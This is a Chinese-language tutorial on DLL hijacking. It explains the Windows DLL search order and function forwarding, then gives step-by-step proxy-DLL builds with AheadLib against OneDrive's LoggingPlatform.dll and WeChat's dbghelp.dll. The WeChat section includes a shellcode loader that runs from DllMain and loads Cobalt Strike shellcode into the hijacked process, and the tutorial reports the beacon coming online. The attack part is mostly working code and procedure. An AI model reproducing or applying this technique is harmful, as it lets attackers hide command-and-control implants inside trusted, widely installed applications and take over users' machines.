DLL劫持技术(白+黑)

前言

劫持Dll的原理

劫持DLL(又称为DLL劫持、DLL搜索顺序劫持或二进制植入)是一种攻击技术,利用Windows操作系统在加载DLL(动态链接库)时的搜索顺序漏洞,使得恶意DLL被误加载到受害进程中。这种攻击方法可以让攻击者在受害进程的上下文中执行任意代码。

当一个应用程序需要加载DLL时,Windows系统会按照特定的顺序搜索DLL。搜索顺序通常如下:

  1. 应用程序的目录。

  2. 系统目录(如System32)。

  3. 16位系统目录。

  4. Windows目录。

  5. 当前工作目录。

  6. 环境变量PATH中列出的目录。

劫持DLL的攻击原理是在DLL搜索顺序的较高优先级位置放置一个恶意DLL,这个恶意DLL具有与目标DLL相同的文件名。当应用程序尝试加载目标DLL时,Windows首先找到并加载恶意DLL,从而在受害进程中执行恶意代码

即时调用函数和直接转发函数

在编写DLL(动态链接库)时,有两种方法可以实现函数的导出:直接调用函数和直接转发函数。

  • 直接调用函数:这是常见的导出函数方法。在这种情况下,DLL中包含了函数的完整实现。当其他模块(例如应用程序或其他DLL)需要使用这个函数时,它们会通过导入表(Import Table)将函数地址解析到内存中,并直接调用这个地址上的函数。这种方式需要为每个导出的函数编写实际的实现代码。

  • 直接转发函数:这种方法允许DLL将函数调用直接转发给另一个DLL中的函数,而不需要在当前DLL中实现任何功能。这可以通过链接器命令/EXPORT实现,它告诉链接器将一个函数导出到当前DLL,并将实际调用转发到另一个DLL中指定的函数。这种方法可以节省开发时间和内存资源,因为在当前DLL中不需要为每个导出的函数编写实际的实现代码。

下面是一个直接转发函数的示例:

#pragma comment(linker, "/EXPORT:RealMsg=TargetDLL.FunctionName")

这行代码表示,当其他模块调用RealMsg函数时,实际上会直接转发到TargetDLL.dll中的FunctionName函数。注意,这里不需要为RealMsg编写任何实现代码。

总之,在编写DLL时,可以选择直接调用函数或直接转发函数。直接调用函数需要编写实际的实现代码,而直接转发函数可以将调用重定向到另一个DLL中的函数,从而减少代码重复和内存占用

使用AheadLib

即时调用函数

本次实例演示劫持系统的winspool.drv,打开AheadLib软件,选择即使调用函数,可以自动生成指定系统dll的C语言代码,后面可以在此代码自行添加要执行的功能

将生成的cpp代码和obj文件复制到自己创建好的DLL项目,需将项目属性设置字符集为多字节字符集

将项目设置为Release版本

在Dll入口函数处可以编写自己的代码,随后生成dll放到目标程序所在目录,并重命名为winspool.drv

直接转发函数

MyDll项目(原先的dll)

以下是MyDll项目的源码, 将生成的MyDll.dll放到test项目所在目录

//DllDemo.cpp

#include "pch.h"
#include "DllDemo.h"


void RealMsg()
{	
	MessageBox(NULL, "真正的消息框", "窗口标题", NULL);
}
//DllDemo.h
#include <Windows.h>

#ifdef ADD_EXPORTS //判断是否为导出DLL函数
#define ADD_API __declspec(dllexport) //若是则定义ADD_API为__declspec(dllexport)
#else
#define ADD_API __declspec(dllimport)  //否则定义ADD_API为__declspec(dllimport)
#endif


extern "C" ADD_API void RealMsg();  //真正的导出函数

test项目(加载dll)

如下是test项目的源码,用于加载MyDll.dll, 加载成功后程序会弹框, 弹框内容为"真正的消息框", 即原先MyDll.dll要实现的功能

#include <iostream>
#include <string>
#include <Windows.h>

typedef void(*p_RealMsg)();

int main(int argc, char *argv[]) {
	HMODULE hModule = LoadLibrary("MyDll.dll");
	p_RealMsg RealMsg = (p_RealMsg)GetProcAddress(hModule, "RealMsg");
	RealMsg();
}

AheadLib项目

打开AheadLib软件, 选择直接转发函数,然后将此代码复制到新建的AheadLib项目

AheadLib项目源码如下所示,此处只需注意#pragma comment(linker, "/EXPORT:RealMsg=Hacker.FakeMsg,@1"),这行代码意味着其他模块在使用这个DLL时将使用RealMsg作为函数名,而实际调用的是Hacker.FakeMsg函数, 即调用的是Hacker.dllFakeMsg函数

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 头文件
#include <Windows.h>
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
#pragma comment(linker, "/EXPORT:RealMsg=Hacker.FakeMsg,@1")
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////


////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		DisableThreadLibraryCalls(hModule);
	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
	}

	return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

AheadLib项目生成的dll重命名为MyDll.dll并放到test项目所在目录, 这里先将原先的MyDll.dll重命名为MyDll_backup.dll

Hacker项目

新建一个Hacker项目,源码如下所示, 用来生成一个dll以此实现我们自定义的函数, 随后将生成的Hacker.dll放到test目录

//DllDemo.h

#ifdef ADD_EXPORTS //判断是否为导出DLL函数
#define ADD_API __declspec(dllexport) //若是则定义ADD_API为__declspec(dllexport)
#else
#define ADD_API __declspec(dllimport)  //否则定义ADD_API为__declspec(dllimport)
#endif

extern "C" ADD_API void FakeMsg();  //伪造的导出函数
//DllDemo.cpp

#include "pch.h"
#include "DllDemo.h"

void FakeMsg() {
	MessageBox(NULL, "伪造的消息框", "窗口标题", NULL);
}

运行test项目的程序, 可以程序弹框的内容并不是"真正的消息框", 而是"伪造的消息框", 也就是说此程序调用的是Hacker.dll里的FakeMsg函数

Dll劫持挖掘

挖掘思路

  • 找出可能的劫持点:这通常包括列出一个程序可能会尝试加载但未能找到的所有DLL文件。在Windows系统中,这可以通过诸如Process Monitor这样的工具完成。你可以通过监视一个特定的程序,然后查看"NAME NOT FOUND"或"PATH NOT FOUND"这样的事件,来找出可能的劫持点。这种方法也可以被用来找出可能的DLL搜索路径。

  • 创建并安装恶意DLL:一旦你找到了一个可能的劫持点,下一步就是创建一个恶意的DLL,然后将其安装到系统中,以替代原始的DLL。这个DLL通常会包含恶意代码,例如用于窃取信息或者控制系统的代码。你可以使用像AheadLib这样的工具来生成一个与原始DLL有相同导出函数的代理DLL,然后在这个代理DLL中插入你自己的代码。

  • 触发和测试DLL劫持:最后,你需要触发程序来加载你的恶意DLL,以此来测试DLL劫持是否成功。你可以通过启动目标程序或者触发目标程序的某个特定功能来实现这一点。你应该仔细监视程序的行为,以验证恶意代码是否被成功执行

所需工具

  • ProcessMonitor:Process Monitor是Sysinternals套件的一部分,由Microsoft提供。它可以监控和显示操作系统中关于文件系统、注册表、进程、线程和DLL活动的详细实时信息。在DLL劫持的场景中,Process Monitor可以被用来追踪哪些程序正在尝试加载哪些DLL

  • Aheadlib:AheadLib是一个实用的开发工具,主要用于生成代理DLL。在DLL劫持的场景中,AheadLib可以被用来模拟DLL劫持的攻击。例如,一个白帽黑客或者一个安全研究者可以使用AheadLib生成一个代理DLL,然后将这个代理DLL放在一个易受攻击的位置,以此来模拟并研究DLL劫持的行为和影响

OneDrive挖掘

OneDrive是微软公司开发的一款在线存储服务。它允许用户将文件保存到云中,并从任何设备——包括Windows和Mac计算机,以及iOS和Android设备——上访问这些文件,基本每台Windows系统都默认安装了OneDrive

打开ProcessMonitor,filter设置如下图所示,例如此处将path的值设置为contains .dll,表示只捕获dl文件的路径

此处就以C:\Users\hasee\AppData\Local\Microsoft\OneDrive\23.127.0618.0001_1\LoggingPlatform.dll这个dll为例

打开VisualStudio开发者工具命令行,执行以下命令查看dll文件的系统架构,此处LoggingPlatform.dll的架构为X64

dumpbin /headers {要劫持的dll文件路径}

LoggingPlatform.dll拖入Aheadlib中,选择直接转发函数,原始DLL的值默认是其文件名后面加Org,即LoggingPlatform.dll,点击生成后会在dll的所在目录生成一个cpp文件

此cpp文件其实是一个动态链接库项目,在DllMain函数处添加Messagebox函数,然后生成Dll

将生成的dll重名命为LoggingPlatform.dll(原先的Dll名), 并将其放入要劫持dll的所在目录, 再将原先dll重命名为LoggingPlatformOrg.dll

运行OneDrive.exe后出现弹框,且不影响其正常功能的使用

Wechat挖掘

Process Monitor Filter针对Wechat的Filter如下图所示,此处需将Path设置为Wechat的所在目录,表示挖掘Wechat所在目录的dll

此处我选择dbghelp.dll

转到dbghelp.dll所在目录,可以发现这个Dll是X86架构的,因此后续编写动态链接库项目时需设置为X86平台的

后续的操作和之前的一样, 有一点要注意的是, WaitForSingleObject函数的第二个参数需设置为0, 这样子线程与主线程不会相互影响, 简单来说,就是wechat运行时也能够正常执行shellcode

void loadshellcode() {
	unsigned char buf[] = ""  //填写CobaltStrike生成的shellcode
	
	//申请一块可读可写可执行的内存
	LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	memcpy(pMemory, buf, sizeof(buf));

	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

	WaitForSingleObject(hThread, 0);
	
	//释放内存
	VirtualFree(pMemory, 0x1000, MEM_COMMIT);
	CloseHandle(hThread);

}


////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{	
		loadshellcode();
		DisableThreadLibraryCalls(hModule);
	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
	}

	return TRUE;
}

运行Wechat后,CS正常上线

解决DLL死锁问题

如果遇到shellcode无法上线的问题,可以使用该github项目:https://github.com/Neo-Maoku/DllMainHijacking

已知的Dll劫持

可以通过此网站来查看已挖掘到的Dll:https://hijacklibs.net/

此处以rcdll.dll为例,rc.exe运行时会加载rcdll.dll,在此网站中会给出其所在路径

rc.exe是Microsoft的Resource Compiler,用于将资源文件 (.rc) 编译成二进制资源文件 (.res),这些文件通常会被链接到Windows程序中

最后更新于